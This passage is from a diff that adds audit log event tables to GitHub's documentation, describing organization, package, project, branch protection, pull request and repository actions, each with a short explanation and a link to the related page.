runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +{%- ifversion fpt or ghec or ghes %} +| `org.self_hosted_runner_updated` | The runner application was updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." +{%- endif %} +{%- ifversion fpt or ghec %} +| `org.set_actions_fork_pr_approvals_policy` | The setting for requiring approvals for workflows from public forks was changed for an organization. For more information, see "[Requiring approval for workflows from public forks](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#requiring-approval-for-workflows-from-public-forks)." +{%- endif %} +| `org.set_actions_retention_limit` | The retention period for {% data variables.product.prodname_actions %} artifacts and logs in an organization was changed. For more information, see "[Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)." +{%- ifversion fpt or ghec or ghes %} +| `org.set_fork_pr_workflows_policy` | The policy for workflows on private repository forks was changed. For more information, see "[Enabling workflows for private repository forks](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#enabling-workflows-for-private-repository-forks)." +{%- endif %} +{%- ifversion ghes or audit-log-sso-response-events %} +| `org.sso_response` | A SAML single sign-on (SSO) response was generated when a member attempted to authenticate with your organization. This event is only available via audit log streaming and the REST API. +{%- endif %} +{%- ifversion ghec %} +| `org.transfer` | An organization was transferred between enterprise accounts. For more information, see "[Adding organizations to your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#transferring-an-organization-between-enterprise-accounts)." +{%- endif %} +{%- ifversion not ghae %} +| `org.transform` | A user account was converted into an organization. For more information, see "[Converting a user into an organization](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)." +{%- endif %} +| `org.unblock_user` | An organization owner unblocked a user from an organization. {% ifversion fpt or ghec %}For more information, see "[Unblocking a user from your organization](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization)."{% endif %} +{%- ifversion fpt or ghec or ghes %} +| `org.update_actions_secret` | A {% data variables.product.prodname_actions %} secret was updated. +{%- endif %} +| `org.update_integration_secret` | A {% data variables.product.prodname_dependabot %}{% ifversion fpt or ghec %} or {% data variables.product.prodname_github_codespaces %}{% endif %} integration secret was updated for an organization. +| `org.update_default_repository_permission` | An organization owner changed the default repository permission level for organization members. +| `org.update_member` | An organization owner changed a person's role from owner to member or member to owner. +| `org.update_member_repository_creation_permission` | An organization owner changed the create repository permission for organization members. +| `org.update_member_repository_invitation_permission` | An organization owner changed the policy setting for organization members inviting outside collaborators to repositories. For more information, see "[Setting permissions for adding outside collaborators](/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators)." +| `org.update_new_repository_default_branch_setting` | An organization owner changed the name of the default branch for new repositories in the organization. For more information, see "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)." +{%- ifversion ghec or ghae %} +| `org.update_saml_provider_settings` | An organization's SAML provider settings were updated. +| `org.update_terms_of_service` | An organization changed between the Standard Terms of Service and the Corporate Terms of Service. {% ifversion ghec %}For more information, see "[Upgrading to the Corporate Terms of Service](/organizations/managing-organization-settings/upgrading-to-the-corporate-terms-of-service)."{% endif %} +{%- endif %} + +{%- ifversion ghec or ghes or ghae %} +## `org_credential_authorization` category actions + +| Action | Description +|--------|------------- +| `org_credential_authorization.deauthorized` | A member deauthorized credentials for use with SAML single sign-on. {% ifversion ghec or ghae %}For more information, see "[Authenticating with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on)."{% endif %} +| `org_credential_authorization.grant` | A member authorized credentials for use with SAML single sign-on. {% ifversion ghec or ghae %}For more information, see "[Authenticating with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on)."{% endif %} +| `org_credential_authorization.revoke` | An owner revoked authorized credentials. {% ifversion ghec %}For more information, see "[Viewing and managing your active SAML sessions](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)."{% endif %} +{%- endif %} + +{%- ifversion secret-scanning-audit-log-custom-patterns %} +## `org_secret_scanning_custom_pattern` category actions + +| Action | Description +|--------|--------------- +| `org_secret_scanning_custom_pattern.create` | A custom pattern is published for secret scanning in an organization. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-an-organization)." +| `org_secret_scanning_custom_pattern.delete` | A custom pattern is removed from secret scanning in an organization. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#removing-a-custom-pattern)." +| `org_secret_scanning_custom_pattern.update` |Changes to a custom pattern are saved for secret scanning in an organization. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#editing-a-custom-pattern)." +{%- endif %} + +## `organization_default_label` category actions + +| Action | Description +|--------|------------- +| `organization_default_label.create` | A default label for repositories in an organization was created. For more information, see "[Creating a default label](/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization#creating-a-default-label)." +| `organization_default_label.update` | A default label for repositories in an organization was edited. For more information, see "[Editing a default label](/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization#editing-a-default-label)." +| `organization_default_label.destroy` | A default label for repositories in an organization was deleted. For more information, see "[Deleting a default label](/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization#deleting-a-default-label)." + +{%- ifversion fpt or ghec or ghes %} +## `organization_domain` category actions + +| Action | Description +|--------|------------- +| `organization_domain.approve` | An enterprise domain was approved for an organization. For more information, see "[Approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization#approving-a-domain-for-your-organization)." +| `organization_domain.create` | An enterprise domain was added to an organization. For more information, see "[Verifying a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization#verifying-a-domain-for-your-organization)." +| `organization_domain.destroy` | An enterprise domain was removed from an organization. For more information, see "[Removing an approved or verified domain](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization#removing-an-approved-or-verified-domain)." +| `organization_domain.verify` | An enterprise domain was verified for an organization. For more information, see "[Verifying a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization#verifying-a-domain-for-your-organization)." + +## `organization_projects_change` category actions + +| Action | Description +|--------|------------- +| `organization_projects_change.clear` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared the policy setting for organization-wide project boards in an enterprise. For more information, see "[Enforcing policies for projects in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise#enforcing-a-policy-for-organization-wide-project-boards)." +| `organization_projects_change.disable` | Organization projects were disabled for all organizations in an enterprise. For more information, see "[Enforcing policies for projects in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise#enforcing-a-policy-for-organization-wide-project-boards)." +| `organization_projects_change.enable` | Organization projects were enabled for all organizations in an enterprise. For more information, see "[Enforcing policies for projects in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise#enforcing-a-policy-for-organization-wide-project-boards)." +{%- endif %} + +## `packages` category actions + +| Action | Description +|--------|------------- +| `packages.insecure_hash` | Maven published an insecure hash for a specific package version. +| `packages.package_deleted` | A package was deleted from an organization.{% ifversion fpt or ghec or ghes %} For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% endif %} +| `packages.package_published` | A package was published or republished to an organization. +| `packages.package_restored` | An entire package was restored.{% ifversion fpt or ghec or ghes %} For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% endif %} +| `packages.package_version_deleted` | A specific package version was deleted.{% ifversion fpt or ghec or ghes %} For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% endif %} +| `packages.package_version_published` | A specific package version was published or republished to a package. +| `packages.package_version_restored` | A specific package version was deleted.{% ifversion fpt or ghec or ghes %} For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% endif %} +| `packages.part_upload` | A specific package version was partially uploaded to an organization. +| `packages.upstream_package_fetched` | A specific package version was fetched from the npm upstream proxy. +| `packages.version_download` | A specific package version was downloaded. +| `packages.version_upload` | A specific package version was uploaded. + +{%- ifversion fpt or ghec %} +## `pages_protected_domain` category actions + +| Action | Description +|--------|------------- +| `pages_protected_domain.create` | A {% data variables.product.prodname_pages %} verified domain was created for an organization or enterprise. For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)." +| `pages_protected_domain.delete` | A {% data variables.product.prodname_pages %} verified domain was deleted from an organization or enterprise. For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)." +| `pages_protected_domain.verify` | A {% data variables.product.prodname_pages %} domain was verified for an organization or enterprise. For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)." + +## `payment_method` category actions + +| Action | Description +|--------|------------- +| `payment_method.create` | A new payment method was added, such as a new credit card or PayPal account. +| `payment_method.remove` | A payment method was removed. +| `payment_method.update` | An existing payment method was updated. + +## `prebuild_configuration` category actions + +| Action | Description +|--------|------------- +| `prebuild_configuration.create` | A {% data variables.product.prodname_github_codespaces %} prebuild configuration for a repository was created. For more information, see "[About {% data variables.product.prodname_github_codespaces %} prebuilds](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)." +| `prebuild_configuration.destroy` | A {% data variables.product.prodname_github_codespaces %} prebuild configuration for a repository was deleted. For more information, see "[About {% data variables.product.prodname_github_codespaces %} prebuilds](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)." +| `prebuild_configuration.run_triggered` | A user initiated a run of a {% data variables.product.prodname_github_codespaces %} prebuild configuration for a repository branch. For more information, see "[About {% data variables.product.prodname_github_codespaces %} prebuilds](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)." +| `prebuild_configuration.update` | A {% data variables.product.prodname_github_codespaces %} prebuild configuration for a repository was edited. For more information, see "[About {% data variables.product.prodname_github_codespaces %} prebuilds](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)." +{%- endif %} + +{%- ifversion ghes %} +## `pre_receive_environment` category actions + +| Action | Description +| ------ | ----------- +| `pre_receive_environment.create` | A pre-receive hook environment was created. For more information, see "[Creating a pre-receive hook environment](/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment)." +| `pre_receive_environment.destroy` | A pre-receive hook environment was deleted. For more information, see "[Creating a pre-receive hook environment](/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment)." +| `pre_receive_environment.download` | A pre-receive hook environment was downloaded. For more information, see "[Creating a pre-receive hook environment](/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment)." +| `pre_receive_environment.update` | A pre-receive hook environment was updated. For more information, see "[Creating a pre-receive hook environment](/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment)." + +## `pre_receive_hook` category actions + +| Action | Description +|--------|------------- +| `pre_receive_hook.create` | A pre-receive hook was created. For more information, see "[Creating pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance#creating-pre-receive-hooks)." +| `pre_receive_hook.destroy` | A pre-receive hook was deleted. For more information, see "[Deleting pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance#deleting-pre-receive-hooks)." +| `pre_receive_hook.enforcement` | A pre-receive hook enforcement setting allowing repository and organization administrators to override the hook configuration was enabled or disabled. For more information, see "[Managing pre-receive hooks on the GitHub Enterprise Server appliance](/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance)." +| `pre_receive_hook.rejected_push` | A pre-receive hook rejected a push. +| `pre_receive_hook.update` | A pre-receive hook was created. For more information, see "[Editing pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance#editing-pre-receive-hooks)." +| `pre_receive_hook.warned_push` | A pre-receive hook warned about a push. +{%- endif %} + +## `private_repository_forking` category actions + +| Action | Description +|--------|------------- +| `private_repository_forking.clear` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared the policy setting for allowing forks of private and internal repositories, for a repository, organization or enterprise. For more information, see "[Managing the forking policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository), "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) and for enterprises "[Enforcing a policy for forking private or internal repositories](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories)." +| `private_repository_forking.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled the policy setting for allowing forks of private and internal repositories, for a repository, organization or enterprise. Private and internal repositories are never allowed to be forked. For more information, see "[Managing the forking policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository), "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) and for enterprises "[Enforcing a policy for forking private or internal repositories](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories)." +| `private_repository_forking.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled the policy setting for allowing forks of private and internal repositories, for a repository, organization or enterprise. Private and internal repositories are always allowed to be forked. For more information, see "[Managing the forking policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository), "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) and for enterprises "[Enforcing a policy for forking private or internal repositories](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories)." + +{%- ifversion fpt or ghec %} +## `profile_picture` category actions + +| Action | Description +|--------|------------- +| `profile_picture.update` | A profile picture was updated. +{%- endif %} + +## `project` category actions + +| Action | Description +|--------|------------- +| `project.access` | A project board visibility was changed. For more information, see "[Changing project board visibility](/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility)." +| `project.close` | A project board was closed. For more information, see "[Closing a project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board)." +| `project.create` | A project board was created. For more information, see "[Creating a project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board)." +| `project.delete` | A project board was deleted. For more information, see "[Deleting a project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board)." +| `project.link` | A repository was linked to a project board. For more information, see "[Linking a repository to a project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board)." +| `project.open` | A project board was reopened. For more information, see "[Reopening a closed project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board)." +| `project.rename` | A project board was renamed. For more information, see "[Editing a project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board)." +| `project.unlink` | A repository was unlinked from a project board. For more information, see "[Linking a repository to a project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board)." +| `project.update_org_permission` | The project's base-level permission for all organization members was changed or removed. For more information, see "[Managing access to a project board for organization members](/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members)." +| `project.update_team_permission` | A team's project board permission level was changed or when a team was added or removed from a project board. For more information, see "[Managing team access to an organization project board](/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board)." +| `project.update_user_permission` | An organization member or outside collaborator was added to or removed from a project board or had their permission level changed. For more information, see "[Managing an individual’s access to an organization project board](/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board)." + +{%- ifversion projects-v2 %} +## `project_field` category actions + +| Action | Description +|--------|------------- +| `project_field.create` | A field was created in a project board. For more information, see "[Understanding field types](/issues/planning-and-tracking-with-projects/understanding-field-types)." +| `project_field.delete` | A field was deleted in a project board. For more information, see "[Deleting fields](/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields)." + +## `project_view` category actions + +| Action | Description +|--------|------------- +| `project_view.create` | A view was created in a project board. For more information, see "[Managing your views](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views)." +| `project_view.delete` | A view was deleted in a project board. For more information, see "[Managing your views](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views)." +{%- endif %} + +## `protected_branch` category actions + +| Action | Description +|--------|------------- +| `protected_branch.create ` | Branch protection was enabled on a branch. +| `protected_branch.destroy` | Branch protection was disabled on a branch. +| `protected_branch.dismiss_stale_reviews ` | Enforcement of dismissing stale pull requests was updated on a branch. +{%- ifversion ghes %} +| `protected_branch.dismissal_restricted_users_teams` | Enforcement of restricting users and/or teams who can dismiss reviews was updated on a branch. +{%- endif %} +| `protected_branch.policy_override ` | A branch protection requirement was overridden by a repository administrator. +| `protected_branch.rejected_ref_update ` | A branch update attempt was rejected. +| `protected_branch.required_status_override` | The required status checks branch protection requirement was overridden by a repository administrator. +| `protected_branch.review_policy_and_required_status_override` | The required reviews and required status checks branch protection requirements were overridden by a repository administrator. +| `protected_branch.review_policy_override` | The required reviews branch protection requirement was overridden by a repository administrator. +| `protected_branch.update_admin_enforced ` | Branch protection was enforced for repository administrators. +{%- ifversion ghes %} +| `protected_branch.update_allow_deletions_enforcement_level` | Enforcement of allowing users with push access to delete matching branches was updated on a branch. +| `protected_branch.update_allow_force_pushes_enforcement_level` | Enforcement of allowing force pushes for all users with push access was updated on a branch. +| `protected_branch.update_linear_history_requirement_enforcement_level` | Enforcement of requiring linear commit history was updated on a branch. +{%- endif %} +| `protected_branch.update_pull_request_reviews_enforcement_level ` | Enforcement of required pull request reviews was updated on a branch. Can be one of `0`(deactivated), `1`(non-admins), `2`(everyone). +| `protected_branch.update_require_code_owner_review ` | Enforcement of required code owner review was updated on a branch. +| `protected_branch.update_required_approving_review_count` | Enforcement of the required number of approvals before merging was updated on a branch. +| `protected_branch.update_required_status_checks_enforcement_level ` | Enforcement of required status checks was updated on a branch. +| `protected_branch.update_signature_requirement_enforcement_level ` | Enforcement of required commit signing was updated on a branch. +| `protected_branch.update_strict_required_status_checks_policy` | Enforcement of required status checks was updated on a branch. +| `protected_branch.update_name` | A branch name pattern was updated for a branch. + +## `public_key` category actions + +| Action | Description +|--------|------------- +| `public_key.create` | An SSH key was [added][add key] to a user account or a [deploy key][] was added to a repository. +| `public_key.delete` | An SSH key was removed from a user account or a [deploy key][] was removed from a repository. +| `public_key.update` | A user account's SSH key or a repository's [deploy key][] was updated. +| `public_key.unverification_failure` | A user account's SSH key or a repository's [deploy key][] was unable to be unverified. +| `public_key.unverify` | A user account's SSH key or a repository's [deploy key][] was unverified. +| `public_key.verification_failure` | A user account's SSH key or a repository's [deploy key][] was unable to be verified. +| `public_key.verify` | A user account's SSH key or a repository's [deploy key][] was verified. + + [add key]: /authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account + [deploy key]: /developers/overview/managing-deploy-keys#deploy-keys + +## `pull_request` category actions + +| Action | Description +|--------|------------- +| `pull_request.close` | A pull request was closed without being merged. For more information, see "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)." +| `pull_request.converted_to_draft` | A pull request was converted to a draft. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)." +| `pull_request.create` | A pull request was created. For more information, see "[Creating a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)." +| `pull_request.create_review_request` | A review was requested on a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." +| `pull_request.in_progress` | A pull request was marked as in progress. +| `pull_request.indirect_merge` | A pull request was considered merged because the pull request's commits were merged into the target branch. +| `pull_request.merge` | A pull request was merged. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)." +| `pull_request.ready_for_review` | A pull request was marked as ready for review. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)." +| `pull_request.remove_review_request` | A review request was removed from a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." +| `pull_request.reopen` | A pull request was reopened after previously being closed. +| `pull_request_review.delete` | A review on a pull request was deleted. +| `pull_request_review.dismiss` | A review on a pull request was dismissed. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." +| `pull_request_review.submit` | A review was submitted for a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." + +## `pull_request_review` category actions + +| Action | Description +|--------|------------- +| `pull_request_review.delete` | A review on a pull request was deleted. +| `pull_request_review.dismiss` | A review on a pull request was dismissed. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." +| `pull_request_review.submit` | A review on a pull request was submitted. For more information, see "[Submitting your review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request#submitting-your-review)." + +## `pull_request_review_comment` category actions + +| Action | Description +|--------|------------- +| `pull_request_review_comment.create` | A review comment was added to a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." +| `pull_request_review_comment.delete` | A review comment on a pull request was deleted. +| `pull_request_review_comment.update` | A review comment on a pull request was changed. + +## `repo` category actions + +| Action | Description +|--------|------------- +| `repo.access` | The visibility of a repository changed to private{%- ifversion ghes %}, public,{% endif %} or internal. +| `repo.actions_enabled` | {% data variables.product.prodname_actions %} was enabled for a repository. +| `repo.add_member` | A collaborator was added to a repository. +| `repo.add_topic` | A topic was added to a repository. +| `repo.advanced_security_disabled` | {% data variables.product.prodname_GH_advanced_security %} was disabled for a repository. +| `repo.advanced_security_enabled` | {% data variables.product.prodname_GH_advanced_security %} was enabled for a repository. +| `repo.advanced_security_policy_selected_member_disabled` | A repository administrator prevented {% data variables.product.prodname_GH_advanced_security %} features from being enabled for a repository. +| `repo.advanced_security_policy_selected_member_enabled` | A repository administrator allowed {% data variables.product.prodname_GH_advanced_security %} features to be enabled for a repository. +| `repo.archived` | A repository was archived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)." +| `repo.code_scanning_analysis_deleted` | Code scanning analysis for a repository was deleted. For more information, see "[Delete a code scanning analysis from a repository](/rest/reference/code-scanning#delete-a-code-scanning-analysis-from-a-repository)." +| `repo.change_merge_setting` | Pull request merge options were changed for a repository. +| `repo.clear_actions_settings` | A repository administrator cleared {% data variables.product.prodname_actions %} policy settings for a repository. +| `repo.config` | A repository administrator blocked force pushes. For more information, see [Blocking force pushes to a repository](/enterprise/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) to a repository. +{%- ifversion fpt or ghec %} +| `repo.config.disable_collaborators_only` | The interaction limit for collaborators only was disabled. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)." +| `repo.config.disable_contributors_only` | The interaction limit for prior contributors only was disabled in a repository. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)." +| `repo.config.disable_sockpuppet_disallowed` | The interaction limit for existing users only was disabled in a repository. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)." +| `repo.config.enable_collaborators_only` | The interaction limit for collaborators only was enabled in a repository. Users that are not collaborators or organization members were unable to interact with a repository for a set duration. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)." +| `repo.config.enable_contributors_only` | The interaction limit for prior contributors only was enabled in a repository. Users that are not prior contributors, collaborators or organization members were unable to interact with a repository for a set duration. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)." +| `repo.config.enable_sockpuppet_disallowed` | The interaction limit for existing users was enabled in a repository. New users aren't able to interact with a repository for a set duration. Existing users of the repository, contributors, collaborators or organization members are able to interact with a repository. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)." +{%- endif %} +{%- ifversion ghes %} +| `repo.config.disable_anonymous_git_access`| Anonymous Git read access was disabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository)." +| `repo.config.enable_anonymous_git_access` | Anonymous Git read access was enabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository)." +| `repo.config.lock_anonymous_git_access` | A repository's anonymous Git read access setting was locked, preventing repository administrators from changing (enabling or disabling) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)." +| `repo.config.unlock_anonymous_git_access` | A repository's anonymous Git read access setting was unlocked, allowing repository administrators to change (enable or disable) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)." +{%- endif %} +| `repo.create` | A repository was created. +| `repo.create_actions_secret` | A {% data variables.product.prodname_actions %} secret was created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/security-guides/encrypted-secrets#creating-encrypted-secrets-for-a-repository)." +| `repo.create_integration_secret` | A {% data variables.product.prodname_dependabot %}{% ifversion fpt or ghec %} or {% data variables.product.prodname_github_codespaces %}{% endif %} integration secret was created for a repository. +| `repo.destroy` | A repository was deleted. +{%- ifversion ghes %} +| `repo.disk_archive` | A repository was archived on disk. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)." +{%- endif %} +| `repo.download_zip` | A source code archive of a repository was downloaded as a ZIP file. +| `repo.pages_cname` | A {% data variables.product.prodname_pages %} custom domain was modified in a repository. +| `repo.pages_create` | A {% data variables.product.prodname_pages %} site was created. +| `repo.pages_destroy` | A {% data variables.product.prodname_pages %} site was deleted. +| `repo.pages_https_redirect_disabled` | HTTPS redirects were disabled for a {% data variables.product.prodname_pages %} site. +| `repo.pages_https_redirect_enabled` | HTTPS redirects were enabled for a {% data variables.product.prodname_pages %} site. +| `repo.pages_source` | A {% data variables.product.prodname_pages %} source was modified. +| `repo.pages_private` | A {% data variables.product.prodname_pages %} site visibility was changed to private. +| `repo.pages_public` | A {% data variables.product.prodname_pages %} site visibility was changed to public. +| `repo.register_self_hosted_runner` | A new self-hosted runner was registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." +| `repo.remove_self_hosted_runner` | A self-hosted runner was removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)." +| `repo.remove_actions_secret` | A {% data variables.product.prodname_actions %} secret was deleted for a repository. +| `repo.remove_integration_secret` | A {% data variables.product.prodname_dependabot %}{% ifversion fpt or ghec %} or {% data variables.product.prodname_github_codespaces %}{% endif %} integration secret was deleted for a repository. +| `repo.remove_member` | A collaborator was removed from a repository. +| `repo.remove_topic` | A topic was removed from a repository. +| `repo.rename` | A repository was renamed. +{%- ifversion fpt or ghec %} +| `repo.set_actions_fork_pr_approvals_policy` | The setting for requiring approvals for workflows from public forks was changed for a repository. For more information, see "[Configuring required approval for workflows from public forks](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-required-approval-for-workflows-from-public-forks)." +{%- endif %} +| `repo.set_actions_retention_limit` | The retention period for {% data variables.product.prodname_actions %} artifacts and logs in a repository was changed. For more information, see "[Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)." +| `repo.self_hosted_runner_online` | The runner application was started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted 